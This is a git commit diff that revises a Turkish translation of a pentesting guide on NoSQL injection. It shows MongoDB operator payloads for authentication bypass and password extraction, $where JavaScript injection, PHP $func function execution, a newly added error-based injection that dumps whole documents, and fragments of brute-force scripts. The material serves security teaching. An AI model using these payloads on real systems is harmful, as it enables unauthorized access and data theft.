Translated ['src/pentesting-web/nosql-injection.md'] to tr

This commit is contained in:
Translator 2025-07-08 19:35:55 +00:00
parent 1169340038
commit b7538fc9b5

View File

@ -6,7 +6,7 @@
PHP'de gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
Sömürüler, bir **Operator** eklemeye dayanmaktadır:
Sömürü, bir **Operator** eklemeye dayanmaktadır:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
```
### Temel kimlik doğrulama atlatma
**Eşit değil ($ne) veya büyük ($gt) kullanma**
**Eşit değil ($ne) veya daha büyük ($gt) kullanma**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -40,7 +40,7 @@ Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### **Uzunluk** bilgilerini çıkarma
### **length** bilgilerini çıkarma
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
@ -76,9 +76,9 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP Keyfi Fonksiyon İcraatı
### PHP Rastgele Fonksiyon Çalıştırma
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi aracılığıyla, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir.
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir.
```python
"user":{"$func": "var_dump"}
```
@ -86,9 +86,9 @@ Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://git
### Farklı koleksiyondan bilgi alma
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen bir şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldıysa yalnızca mevcuttur.
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldığında yalnızca mevcuttur.
```json
[
{
@ -108,7 +108,13 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
}
]
```
## MongoDB Yüklemeleri
### Hata Tabanlı Enjeksiyon
`throw new Error(JSON.stringify(this))` ifadesini bir `$where` koşuluna enjekte ederek, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarın (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Yükleri
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
@ -176,7 +182,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force giriş kullanıcı adları ve şifreleri POST girişinden
### POST girişinden brute-force kullanıcı adları ve şifreleri
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
```python
@ -229,5 +235,6 @@ get_password(u)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
{{#include ../banners/hacktricks-training.md}}